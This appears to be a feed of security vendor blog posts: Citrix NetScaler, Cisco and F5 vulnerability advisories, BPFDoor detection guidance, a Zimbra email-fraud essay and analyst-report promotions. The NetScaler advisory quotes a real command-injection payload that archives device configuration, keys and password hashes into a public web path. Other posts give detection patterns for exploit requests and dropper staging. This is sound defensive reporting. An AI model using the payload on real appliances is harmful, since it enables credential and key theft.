On the host, hunt for processes whose executable has been unlinked, which on Linux presents as a (deleted) suffix on the /proc/<pid>/exe target. To catch fileless and unlinked process execution, monitor process descriptors for instances where /proc/<pid>/exe points to an unlinked path, and inspect memory maps for executable pages lacking backing file paths on disk. 

Additionally, alert on the presence of .db state files and dropper artifacts: the directory /HDD/ms6x2xTo64/, a shell script carrying a .php extension whose first bytes are #!/bin/sh, and a marker file execProcEnd containing the literal string end. A process-tree sequence of sh -c on a .php path, followed by cp and chmod into /sbin and an rm -rf of the same path within roughly ten seconds, provides high-fidelity detection of the staging sequence.

On the network, outbound SMTP from an appliance to mail-role hostnames that resolve to consumer-grade or embedded devices warrants investigation on its own.

Mitigation 

Investigate unexpected raw packet sockets and classic BPF filters on Linux systems that do not require packet capture. Review outbound TCP port-25 callbacks from processes that are not mail services, particularly when the process renames itself to a common daemon or creates hidden PID and socket markers. Preserve short-lived staged binaries and collect process arguments, open file descriptors, socket metadata, and historical DNS records. Restrict management access to routers, DVRs, and other edge appliances, and monitor NFS or SMB mounts that could let an adjacent host write executables onto an embedded device.

MITRE ATT&CK techniques

Table 6: MITRE ATT&CK Techniques and Evidence

Indicators of compromise

Table 7: File Indicators — TW cluster

Table 8: File Indicators — SK Cluster

Table 9: Network Indicators of Compromise

Table 10: Host Artifacts

Table 11: Cryptographic and Protocol Constants

Rapid7 customers

YARA rules and more IoCs are available in Rapid7’s Intelligence Hub along with ongoing intelligence on the latest campaigns.

What defenders should take away from these campaigns

The components form a modular access ecosystem. The dropper executes AVERAT, which beacons to changeable infrastructure, while BPFDoor and Rekoobe samples wait for a magic packet before opening interactive access.

Across both campaigns, the network edge is a consistent focus. Each targets mail-security appliances that sit inline in front of the mail server, giving an implant positioned there visibility into an organization’s inbound and outbound traffic. Both also use port 25 to blend into expected SMTP activity, although the mechanism differs between the campaigns. In either case, command-and-control traffic can hide within a protocol that is normal for the device and may therefore attract less scrutiny.

This fits the broader BPFDoor pattern, where compromised IoT and SMB devices, including NAS units and DVRs, can act as operational relays that obscure the true source of magic-packet traffic before it reaches the passive backdoor. Newer samples also show how the malware continues to adapt to the environments it targets, including a second userland-level magic-packet check layered on top of the kernel BPF gate.

Rapid7 Variant G provides another example of that adaptation. It uses three BPF filters to preserve operational resilience on high-traffic edge nodes, with the filters left unoptimized because the libpcap version running on its end-of-life targets does not support filter optimization.

For defenders, the most useful detection opportunities remain raw packet sockets, BPF filters, port-25 callbacks from unexpected processes, process masquerading, and appliance-specific staging paths. Specific attribution should remain an ongoing assessment as new samples and infrastructure emerge.

As AI takes on more of the enrichment, correlation, and initial assessment inside the SOC, roles, skills, and KPIs still require deliberate redesign. Security leaders need to decide where automation is dependable, where human judgment should remain decisive, and how teams should be measured when alert handling is no longer the center of the operating model

The Gartner® report, The Roles Required for the AI-Enabled Security Operations Center (SOC), examines the roles and capabilities Gartner expects the SOC to require as AI becomes embedded in security operations. Rapid7 is offering complimentary access to the research, which we believe can help leaders plan their future workforce, operating model, and investment priorities.

How will AI change the role of SOC analysts?

Many analyst roles and performance measures remain closely tied to handling individual alerts. As organizations introduce AI SOC agents to support enrichment, correlation, and initial assessment, leaders may need to reconsider where human expertise creates the greatest operational value.

Gartner states, "Human analysts must transition from alert triage roles to end-to-end case ownership and effective response option communication." At Rapid7, we believe this shift creates an opportunity for analysts to focus their judgment on validating context, coordinating response, and communicating decisions clearly.

Gartner also recommends, "Stop recording alert metrics and run the SOC on cases and decisions." Robert Willis, VP of Managed Detection and Response at Rapid7, puts it plainly: "Alert volume is a distraction. The real measure of SOC value is decision quality, did you get the right answer, fast enough to act on it? MDR is built to deliver exactly that: answers, not alerts, so your team can focus on ownership and response rather than triage." MDR can help manage alert volume while adding investigation and response capacity, giving internal teams more space to focus on the cases that require their context and ownership.

Where does human judgment remain essential?

Rapid7's experience applying agentic AI within our MDR SOC shows how this division of work can operate in practice. Our agentic workflows have saved more than 200 analyst hours each week and achieved 99.93% benign-disposition accuracy, reducing the repetitive work involved in initial triage and giving analysts more time for complex, ambiguous, and higher-stakes investigations.

We believe human judgment remains essential when a decision carries operational consequences. AI can gather evidence, correlate activity, and present a structured rationale, while analysts validate the conclusion, consider the organization's priorities, and determine the appropriate response. This human-led, AI-driven model combines machine-speed investigation with accountable decision-making.

Why are SOC engineering roles expected to expand?

As AI-enabled workflows expand, engineering discipline is likely to become increasingly important within security operations. Reliable processes require people who understand threats and security data, can test automated workflows, and can establish appropriate controls around AI-supported decisions.

The report includes the strategic planning assumption, "By 2028 there will be 50% more engineers in security operations teams than analysts." Gartner also advises organizations, "Redefine detection engineering role descriptions and hiring requirements. Expand them beyond rule writing to include prompt design, workflow testing, and AI output validation."

From Rapid7's perspective, detection engineering is developing into a broader operational discipline. Data quality, testing, version control, rollback procedures, documentation, and human approval paths all contribute to dependable AI-enabled workflows. Investing in these capabilities can help teams use automation confidently while keeping people central to consequential security decisions.

Why should Exposure Management be a continuous SOC function?

The report also considers how security operations can identify and validate weaknesses before they contribute to an incident. Gartner states, "Exposure management is the emerging SOC capability to invest in before anything else."

At Rapid7, we believe exposure management should become a standing operational discipline that connects discovery, validation, prioritization, and remediation with detection and response. Exposure Command can help teams understand which exposures present the greatest risk and direct remediation accordingly, while MDR provides additional expertise and capacity to investigate and respond when threats emerge.

Together, these capabilities support a human-led, AI-driven operating model focused on informed decisions, continuous exposure reduction, and effective response. Access the complimentary Gartner report, The Roles Required for the AI-Enabled Security Operations Center (SOC), to explore how Gartner expects SOC roles and responsibilities to evolve.

Download the full Gartner® report →

Overview

On September 30, 2026, Cisco published a security advisory for CVE-2026-76504, a critical API authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Manager. The vulnerability has a CVSSv3.1 score of 9.8 and results from improper handling of URL encoding (CWE-177). An unauthenticated, remote attacker can send a crafted HTTP request that bypasses an authentication rule for a specific API endpoint, gaining access to the API with the privileges of the admin user.

According to Cisco, CVE-2026-76504 is being actively exploited in the wild; Cisco PSIRT became aware of the activity in September 2026. Cisco Catalyst SD-WAN Manager systems with ports exposed to the internet are at risk of compromise. The vulnerability affects the product regardless of system configuration, and Cisco has not provided a workaround, however vendor supplied updates are available. Rapid7 strongly recommends that organizations upgrade affected systems to a fixed release on an emergency basis, outside of normal patch cycles, and investigate internet-facing systems for signs of exploitation.

Cisco Catalyst SD-WAN Manager was also affected by two critical, unauthenticated peering authentication flaws earlier in 2026: CVE-2026-20127 and Rapid7-discovered CVE-2026-20182. Both were distinct issues in the vdaemon service and similar parts of its networking stack. CVE-2026-76504 targets a separate API authentication path, but the recurrence of authentication bypasses in internet-facing Catalyst SD-WAN control components reinforces the need for emergency remediation.

On September 30, 2026, CVE-2026-76504 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA set a remediation due date of October 3, 2026.

Mitigation guidance

Cisco has released software updates that remediate CVE-2026-76504. Organizations running affected instances of Cisco Catalyst SD-WAN Manager should upgrade to an appropriate fixed release listed below without waiting for a regular patch cycle:

Cisco has addressed the vulnerability in the cloud-based Cisco SD-WAN Cloud (Cisco Managed) release 20.15.605, and indicates that no customer action is required for that service.

There are no workarounds. As a temporary mitigation, Cisco recommends that on-premises customers prevent access to the system from unsecured networks. If internet access is required, restrict access to known, trusted hosts and protect Cisco Catalyst SD-WAN control components behind a filtering device. Cisco indicates that this mitigation is already deployed in Cisco Catalyst SD-WAN Cloud Hosted environments. Organizations should apply updates even when the mitigation is in place.

Because active exploitation has occurred, Rapid7 strongly recommends that organizations audit affected systems for compromise. For help assessing a potentially compromised system, Cisco customers may open a Severity 3 TAC case with CVE-2026-76504 in the title and provide an admin-tech file generated with the request admin-tech command.

For the latest mitigation guidance and release compatibility information, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-76504 with vulnerability checks expected to be available in the October 1 content release.

Indicators of compromise

Cisco recommends reviewing the following logs for requests related to j_security_check from unknown or unauthorized IP addresses:

• /var/log/nms/containers/service-proxy/serviceproxy-access.log: Requests with an encoded character in the j_security_check path, such as POST /%6a_security_check HTTP/1.1.

• /var/log/nms/vmanage-server.log: Requests to j_security_check associated with usernames beginning with viptela-reserved-.

The %6a value, which URI-encodes the character j, is only an example. According to Cisco, an attacker can exploit the vulnerability by encoding any single character in the request. The vendor cautions that these log entries can also occur during standard operations and should be evaluated against normal network posture to avoid false positives.

Updates

• September 30, 2026: Initial publication.

• October 1, 2026: Updated to reflect CVE-2026-76504 being added to the CISA KEV list.

Higher education faces a difficult security equation. Universities hold large volumes of sensitive student, financial, health, and research data while supporting open networks, distributed users, legacy infrastructure, and increasingly complex cloud environments. Attackers have taken notice, and the pressure on security teams continues to grow.

In Q2 2025, universities faced an average of 4,388 cyberattacks per organization per week, up 24% from the same period in 2024. Nine in ten universities reported experiencing a breach or security incident during the previous 12 months, while the average cost of a data breach in education reached $10.22 million. Confirmed attacks against higher education institutions exposed more than 3.9 million records in 2025, with ransomware continuing to disrupt teaching, research, financial aid, and administrative operations.

Those figures are concerning on their own, but they only explain part of the problem. For university systems with multiple campuses, the way security is organized can create an additional layer of risk.

Why is higher education so difficult to secure?

Universities operate differently from most commercial organizations. Open access, collaboration, and academic freedom are central to their mission, which means security teams must protect environments where students, faculty, researchers, guests, and third parties connect from almost anywhere.

That openness sits alongside an unusually broad mix of sensitive data. A single university may hold student PII, financial aid and tax records, health information, proprietary research, government-funded projects, and intellectual property. Many institutions also rely on legacy systems that have been connected over time to modern cloud applications, APIs, learning platforms, and research networks, creating visibility gaps that can be difficult to manage. 

Resource pressure adds to the challenge. The draft cites 94% of higher education IT leaders as saying they lack enough personnel to defend their environments adequately, leaving relatively small teams responsible for sprawling networks with large numbers of users, devices, applications, and third-party services. 

Why multi-campus fragmentation increases cyber risk

For multi-campus university systems, many of these pressures are compounded by decentralized security operations. Individual campuses often maintain their own infrastructure, security tools, teams, incident response processes, vendor relationships, and renewal cycles. 

The result can be limited visibility across the wider institution. If ransomware is detected at one campus, teams elsewhere may have no immediate view of the same attacker activity. If a zero-day is exploited in one research environment, another campus may remain exposed because the intelligence and response process stay local. 

Fragmentation also affects efficiency. When each campus independently buys, deploys, and manages its own security stack, the wider university system can carry duplicated costs, additional management overhead, and inconsistent coverage. Fragmentation can also slow the spread of threat intelligence across a university system. If one campus detects a new attack pattern, an unusual intrusion technique, or previously unseen malware, that insight may remain local rather than reaching security teams elsewhere in time to act. A suspicious login sequence identified at Campus B, for example, could be the early signal of activity already moving toward Campus A or Campus C, but without shared visibility each team may investigate the same threat independently and at different speeds.

The same problem can appear during vulnerability response. If one campus confirms active exploitation of a newly disclosed vulnerability in a research environment, another campus may still be exposed because patching decisions, asset inventories, and remediation workflows are managed separately. What should become a system-wide priority can remain a local incident until someone connects the dots.

Attackers do not necessarily respect those organizational boundaries. A smaller or less-resourced campus can provide an entry point into relationships, systems, and data connected to the wider institution, while defenders may still be working with a campus-by-campus view.

What should university systems change?

Higher education security needs to preserve the autonomy individual campuses require while improving visibility and coordination across the broader institution.

That means giving security teams a shared view of exposure, threats, and active incidents across campuses, along with the ability to coordinate detection and response when activity in one part of the university may affect another. It also creates an opportunity to reduce duplicated tooling and processes, share threat intelligence more effectively, and make better use of limited security resources.

The objective is a model where a local security team can continue managing the needs of its own campus without losing access to the wider context of what is happening across the university system.

As the threat landscape becomes more connected, higher education security architecture needs to become more connected with it.

In Part 2 of this series, we’ll look at another pressure making that shift more urgent: the growing compliance burden across FERPA, GLBA, HIPAA, and CMMC, and why fragmented security can make regulatory readiness harder to manage across a university system. 

Rapid7 helps more than 11,000 organizations worldwide take command of their security. Learn more at rapid7.com/sled.

Overview

On September 27, 2026, Citrix disclosed eight new vulnerabilities affecting NetScaler ADC and NetScaler Gateway, including two critical remote code execution (RCE) vulnerabilities: CVE-2026-88771 and CVE-2026-88772. Both of these RCE vulnerabilities carry a critical CVSSv4 score of 9.5, and both have been confirmed as being actively exploited in the wild as zero-days prior to the vendor disclosure. 

CVE-2026-88771 affects vulnerable NetScaler deployments in their default configuration, with no additional product features required. The vendor has also indicated that the attack complexity for exploiting CVE-2026-88771 is low, meaning reliable RCE is likely against all vulnerable NetScaler appliances regardless of their configuration. This is especially concerning due to the prevalence of NetScaler appliances.

CVE-2026-88772 is a memory corruption vulnerability and requires the DTLS feature to be enabled on the appliance. The vendor has indicated that the attack complexity is high, meaning achieving reliable exploitation may be more difficult for an attacker than that of CVE-2026-88771.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) reports active exploitation is occurring globally, and added both CVE-2026-88771 and CVE-2026-88772 to its Known Exploited Vulnerabilities (KEV) catalog on September 27, 2026. Multiple CERTs worldwide have begun issuing alerts due to the critical nature of this situation.

On October 4, 2026, Citrix published an advisory for a new NetScaler vulnerability, CVE-2026-88779. This new vulnerability was disclosed as being exploited in-the-wild as a zero-day prior to disclosure, and was added to CISA KEV the same day. CVE-2026-88779 affects NetScaler appliances that have a SAML service provider (SP) or identity provider (IdP) configured. Attackers can send repeated attempts, where each attempt will crash the SAML service, and upon the sixth crash the appliance will reboot.

The following table summarizes all nine vulnerabilities:

Mitigation guidance

The following vendor-supplied updates are available to remediate the eight vulnerabilities disclosed on September 27. Rapid7 strongly recommends updating affected NetScaler appliances on an emergency basis, outside of normal patching cycles, and investigating vulnerable appliances for signs of compromise.

• Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releases.

• Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1.

• Citrix NetScaler ADC 14.1-FIPS, 14.1-73.37 FIPS and later releases of 14.1-FIPS.

• Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.279 and later releases of 13.1-FIPS and 13.1-NDcPP.

For the latest mitigation guidance, please refer to the vendor advisory.

To remediate CVE-2026-88779 which was disclosed on October 4, the following vendor-supplied update is available, and supersedes the above vendor supplied updates.

• Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.41 and later releases.

• Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.28 and later releases of 13.1.

• Citrix NetScaler ADC 14.1-FIPS, 14.1-73.41 FIPS and later releases of 14.1-FIPS.

• Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.282 and later releases of 13.1-FIPS and 13.1-NDcPP.

For the latest mitigation guidance for CVE-2026-88779, please refer to the vendor advisory.

Rapid7 MDR observed exploitation

Rapid7 observed the earliest exploitation attempts of CVE-2026-88771 at 2026-09-20T14:28:43 UTC. Only two attempts were seen on September 20, which does not indicate widespread exploitation at that time.

The command injection observed on September 20 is captured below:

Timestamp: 2026-09-20T14:28:43.000Z
Account: wfr
Result: FAILED_BAD_LOGIN
Source_ip: 149.104.78.208
Source_data: "Authentication is rejected for WFR pitboss PPE nsppe missed too many heartbeats NSPPE;tar${IFS}czf$IFS/var/netscaler/gui/vpn/c$IFS-C$IFS/flash${IFS}nsconfig; (client ip : 149.104.78.208 , vserver ip: <redacted>  ), extended error, if any : "

This payload executes tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, which creates a gzipped archive named c in /var/netscaler/gui/vpn/ containing the full contents of /flash/nsconfig.

This location is significant because the Gateway serves /var/netscaler/gui/vpn/ publicly at https://<gateway>/vpn/. Once the command runs, an unauthenticated request to GET https://<gateway>/vpn/c will return the archive to any requester, with no login required.

The /flash/nsconfig directory contains material that would give an attacker significant follow-on access, including:

• ns.conf, the full device configuration, including encrypted passwords for the nsroot account and other admin accounts, as well as bind passwords for LDAP, RADIUS, and TACACS

• ssl/, containing SSL certificates and private keys

• SSH host keys, license files, and HA sync settings

As of this writing, Rapid7 has identified two organizations compromised through exploitation of CVE-2026-88771. The first compromise involved the command injection detailed above and the other involved a webshell placed at /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver (SHA256: ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1), observed on September 24.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to all the CVEs listed in the blog with authenticated vulnerability checks available in the September 28 content release. A vulnerability check for CVE-2026-88779 is available in the October 6 content release.

Intelligence Hub

Customers leveraging Rapid7’s Intelligence Hub can track the latest developments surrounding CVE-2026-88771 and CVE-2026-88772, including indicators of compromise (IOCs) and Suricata detection rules.

Managed Detection Response (MDR)

The following detection rules are available for InsightIDR and Managed Detection Response (MDR) customers:

• Suspicious Web Request -  Citrix NetScaler ADC and Gateway Appliance Exploitation (CVE-2026-88771)

Updates

• September 28, 2026: Initial publication.

• September 29, 2026: Suricata detection rules for CVE-2026-88771 are now available in Intelligence Hub.

• September 30, 2026: Added Rapid7 MDR Observed Exploitation section to include details of the cases flagged by the SOC team.

• September 30, 2026: Added Rapid7 MDR customers section.

• October 5, 2026: Updated blog to include the new CVE-2026-88779 vulnerability.
• October 6, 2026: Updated Rapid7 customers section to reflect availability of a check for CVE-2026-88779.

Business Email Compromise (BEC) operates on a familiar playbook. Threat actors breach a mailbox, silently monitor operations, map approval chains, and ultimately exploit that access to divert funds or exfiltrate sensitive assets.

This dynamic is central to our analysis as we kick off a series around Rapid7's collaborative research with Zimbra; upcoming installments will explore technical details and broader findings based within the Zimbra Collaboration Suite. Our investigation disrupted the traditional BEC model in unexpected ways. We uncovered over 50 vulnerabilities, and found that several allow attackers not just to observe environments, but to actively rewrite them by impersonating senders without credentials, controlling inbox visibility, and altering shared documents and calendars.

Business Email Compromise in action: Digital abuse of trust

None of this is theoretical for Zimbra. But don’t take my word for it, just ask Russia. CISA keeps putting Zimbra bugs into the Known Exploited Vulnerabilities catalog, and the last three years make the point on their own:

• CVE-2024-45519, command injection in the postjournal service, unauthenticated command execution. Proofpoint saw attackers stuffing base64 payloads into CC fields on September 28, 2024. CISA added it to KEV on October 3.

• CVE-2025-27915, stored XSS in the Classic Web Client, triggered by a crafted .ICS attachment. It is used as a zero-day against Brazilian military targets to steal mail and quietly set forwarding filters. It went into KEV in October, 2025.

• CVE-2026-73570, unauthenticated command injection through SNMP notification handling. CISA added it on August 21 of this year and gave federal agencies three days. Shadowserver has been counting somewhere north of 260 compromised instances while hunting for exploitation artifacts.

Go back further and the pattern holds. Rapid7 tracked widespread exploitation of CVE-2022-27925 and CVE-2022-37042 in 2022, a path traversal chained with an authentication bypass that let attackers drop a JSP shell on a Zimbra server without credentials. Google's Threat Analysis Group later documented four separate threat groups working the same zero-day known as CVE-2023-37580. Each of these groups went after email, credentials, and authentication tokens. Attackers figured out a long time ago that the system sitting in the middle of everyone's communication is worth the effort. So when you find a set of bugs that let you write to that system instead of only reading from it, data theft stops being the interesting part.

Send an email as your CFO without ever touching their password, and you have the front half of a very convincing BEC. Keep control of the mailbox afterward and you have the back half, too. Here, the attacker has a strategic choice. They can delete the sent message to hide their tracks, effectively wiping the trail of the fraud OR they can choose to leave the message in the Sent Items folder. By doing so, they ensure the CFO sees 'evidence' of the email they supposedly sent, creating a gaslighting scenario where the victim is left questioning their own actions. Whether the attacker cleans up or leaves the trail, they are shaping the organization’s perception of reality. In the ensuing investigation, where Finance sees a sent request and the CFO sees no such activity, the organization is trapped in a conflict of evidence. At that point, BEC looks less like traditional fraud and more like a psychological operation.

Documents make it worse, as Zimbra is not just a mail server. The collaboration side holds the files employees actually use to make decisions. An attacker who can plant a fake HR memo or financial summary in an executive's enterprise drive, and make it look like it came from a peer they trust, is starting from a much better position than someone attaching a PDF to a cold email.

Say a document shows up from HR about a confidential restructuring, and a few days later an email from a trusted executive references it. Neither piece has to carry the whole deception, as each one props up the other.

Calendar warfare and manufactured enterprise reality

Then there is the thing I have started calling ‘calendar warfare.’ Meetings can be modified or deleted without generating the notification trail users expect to see. RSVP status can also be flipped. Maybe a key executive is changed from Accepted to Declined and leadership might reschedule, or move ahead without them, or read the whole thing as a deliberate opt-out.

It works in the other direction too. An "Emergency Board Meeting" lands on an executive's calendar with a believable organizer, a popup reminder, and a malicious Zoom link. When the reminder fires, the victim is not sizing up a suspicious email that arrived thirty seconds ago. They are joining a meeting that has been sitting in their calendar for two days. And the calendar is not some exotic attack surface nobody has thought of. If we look back at CVE-2025-27915, the delivery vehicle was a calendar invite.

Stack all of it together now – a financial document appears, a trusted executive emails about it, then a mandatory meeting shows up to discuss it. And the attacker still has the ability to clean up some of what gets left behind. Every artifact the victim checks lives inside a system they have no reason to question, and all of them tell the same fabricated story.

I keep coming back to the phrase 'manufactured enterprise reality'. I have touched on the idea in The Monday Brief, that attackers get to borrow whatever trust an organization has already extended to its own tooling. Zimbra makes it concrete. The platform supplies the credibility, so the attacker does not have to build any.

Collaboration suites quietly became systems of record. Email is the record of who said what. Calendars are the record of who agreed to be where. Classic BEC abuses the trust between two people. The scenario we’ve discussed here abuses the machinery those people use to decide who to trust in the first place. Once employees are making real business decisions off fabricated context, stealing data is the least of your problems.

Security teams already have long queues of potential application vulnerabilities. The useful question is what happens next: can they see how a weakness behaves in a running application, reproduce the attack, and give developers enough evidence to fix it?

Dynamic application security testing (DAST) helps answer those questions by testing applications as an attacker encounters them. The IDC MarketScape: Worldwide Dynamic Application Security Testing 2026 Vendor Assessment (Doc #US54119126, September 2026). The IDC MarketScape evaluated 16 vendors and named Rapid7 a Leader.

We believe the result reflects the strength of Rapid7’s DAST capabilities, but the IDC MarketScape also offers a useful view of where the category is heading. DAST has developed beyond traditional web scanning into a source of runtime evidence that can help organizations validate risk across the application layer.

From possible weakness to validated application risk

Code analysis and dependency scanning help teams identify weaknesses before an application is deployed. DAST provides a different view by interacting with the assembled application while it is running. It can show what happens when a particular request reaches the application, how the application responds, and whether a suspected weakness can be reproduced.

This is especially valuable for APIs and AI-backed applications, where risk may emerge through interactions among models, prompts, data, tools, and permissions. Some of these behaviors cannot be fully understood from source code or a dependency manifest. They become visible when the application is exercised under runtime conditions.

DAST therefore has a direct role in continuous threat exposure management (CTEM). Discovery gives teams a view of their assets and possible weaknesses, but that view alone does not tell them where to focus. Validation helps narrow the field by showing which exposures can be reached or exploited and providing evidence that teams can use to take action.

For Rapid7, DAST is exposure management applied to the application layer. Web applications, APIs, and AI-backed endpoints are all part of the attack surface, so they need to be discovered, tested, prioritized, and managed alongside infrastructure, cloud, and other exposures.

Why we believe Rapid7 was named a Leader by IDC

Rapid7’s DAST solution is delivered as part of the Exposure Command portfolio. Its scan engine maps an application, executes attacks against the discovered paths, and validates confirmed findings. Security teams can map a broad area of an application while limiting active attacks to an appropriate set of paths, giving them control over how testing is performed.

Findings are checked against Rapid7 telemetry to help determine which issues warrant closer attention. When a finding needs action, browser-based replay reproduces the original request, the attack request, and the triggering response. Developers receive evidence they can work with, rather than a finding they must first spend time proving.

Authenticated scanning can be difficult to maintain across a changing application portfolio, and a broken login sequence can leave important areas untested. Rapid7’s solution can identify the affected step and support a targeted update without requiring the entire sequence to be recorded again.

The connection with Surface Command adds another useful layer. Newly discovered external assets can be surfaced for application testing, helping teams close the gap between finding an application and understanding the risk it presents

DAST plays a core role within Exposure Command: providing the application-layer validation teams need to prioritize risk and move from findings to remediation.

Learn more about Rapid7 Exposure Command.

Overview

On September 22, 2026, F5 published a security advisory for CVE-2026-94127, a critical heap-based buffer overflow vulnerability affecting F5 BIG-IP Access Policy Manager (APM). The vulnerability has a CVSS v3.1 score of 9.8. An unauthenticated attacker with network access to an affected virtual server may be able to achieve remote code execution (RCE) by sending specifically crafted traffic.

BIG-IP APM provides identity-aware access control for applications and other corporate resources and can integrate with authentication technologies including OAuth, OpenID Connect, and SAML. CVE-2026-94127 is not exposed in a default configuration: exploitation requires a BIG-IP virtual server with both an APM access policy and an OAuth profile configured. Because affected BIG-IP systems may process traffic at an organization's network edge, organizations using this configuration should prioritize remediation.

The vulnerability affects the data plane and does not expose the BIG-IP control plane. BIG-IP systems operating in Appliance mode are also affected.

F5 lists the following affected release trains and corresponding fixed hotfixes:

• BIG-IP 21.1.0: versions prior to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG

• BIG-IP 17.5.0: versions prior to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG

• BIG-IP 17.1.0: versions prior to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG

As of September 22, 2026, CVE-2026-94127 has been added to the CISA KEV while a publicly available proof of concept was not confirmed.

Mitigation guidance

Organizations running affected F5 BIG-IP deployments should apply the appropriate F5 hotfix as soon as operationally feasible, particularly where a vulnerable APM and OAuth configuration is reachable from untrusted networks.

F5 lists the following remediation versions:

• BIG-IP 21.1.0: update to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG or later.

• BIG-IP 17.5.0: update to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG or later.

• BIG-IP 17.1.0: update to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG or later.

Administrators should first determine whether a BIG-IP APM access policy and an OAuth profile are configured together on a virtual server, since this configuration is required for exposure.

For organizations that cannot immediately apply the applicable update, F5 provides an iRule workaround through F5 Support. Customers should open a support case with F5 to obtain the vendor-provided workaround and follow F5's implementation guidance.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, Nexpose customers can assess exposure to CVE-2026-94127 using vulnerability checks expected to be available in today’s (September 23) content release.

Updates

• September 22, 2026: Initial publication.

Overview

On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.

Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.

CVE-2026-76461 was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.

Mitigation guidance

Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.

Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.

For the latest remediation guidance, see the vendor advisory.

Indicators of compromise

The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.

To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:

cisco-esa> grep -i "COPY.*TO PROGRAM" [IronPort Text Mail Logs Log name - Default: mail_logs]

The presence of any entry in the output may indicate malicious activity.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.

Updates

• September 15, 2026: Initial publication.

The managed detection and response (MDR) market has reached a turning point. We’ve gone beyond the baseline of 24/7 monitoring focusing on the speed of detection and moved to a world with a convergence of exposure management and response to deliver measurable, outcome-based defenses of a larger, AI-driven attack surface.

For anyone evaluating MDR right now, the Managed Detection and Response Services Landscape, Q3 2026 report by Forrester is a useful map that lays out where the market is heading. This is a market that has moved beyond "do you cover my telemetry?" to “Can a provider connect and prove that its activity is tied to real reduction in risk?”. 

Rapid7 was named among the notable providers in this Forrester MDR Landscape. Being included matters to us, but the more interesting story is in what Forrester says about the market itself.

Detection and exposure are becoming one service

One of the report's clearest signals is directional: Forrester writes that "MDR services will converge with exposure and posture improvement.”

That convergence is the whole basis of Rapid7 MDR and our Command Platform strategy. Most MDR services react after an attacker has already broken in. Rapid7 designed its service to anticipate where attackers are likely to succeed and disrupt them earlier. We combine exposure context, detection, and response into a single operational loop, where vulnerability findings and asset risk scoring flow directly into alerts and investigations. This means analysts can cut noise and focus response on the exposures most likely to cause business impact. It's what we mean by exposure-informed, Preemptive MDR: The same context that tells you where you're weak is the context that sharpens how you detect and respond.

For buyers, the practical implication is that old procurement habits are changing. Buyers used to invest in detection from one vendor, exposure management from another, and then hope the two solutions would seamlessly talk to each other. That approach is now turning into a liability.

The market will reward providers that connect these additions to measurable risk reduction rather than bolting on loosely joined SKUs. That's a bar customers should hold every provider to, including Rapid7.

"Make providers prove the investigation, rather than narrate the dashboard"

The second theme is about accountability. In its guidance on working with providers, Forrester is blunt: Buyers should "make providers prove the investigation, rather than narrate the dashboard." A slick activity feed is not evidence that anyone reached the right conclusion. Buyers should ask to see the reasoning behind a disposition, the actions taken, and the controls that keep automation from making unsafe decisions.

This is a healthy pressure on the whole market, and it's a test we welcome. Rapid7 MDR is delivered on Rapid7's own SIEM, which gives customers a direct window into our SOC, including validated threats, the response actions taken, where AI accelerated the work, and where a human analyst stepped in and why. Every action is logged, explainable, and auditable. As agentic AI takes on more of the investigation workload, that transparency becomes the difference between a service you trust and a black box you hope is working. Our approach is deliberately human-led and AI-enhanced: AI scales triage and investigation across large volumes of telemetry, while analysts stay responsible for validation and response decisions.

Accountability also shows up in commercial terms. Rapid7 MDR includes unlimited incident response, so the team stays engaged until an incident is fully remediated rather than stopping when a clock runs out, and gives a concrete answer to the "who owns the outcome?" question.

What to do with the report

If you're evaluating MDR, and have access to Forrester, the report is a strong prompt to rewrite your evaluation criteria. A few questions worth taking into any provider conversation:

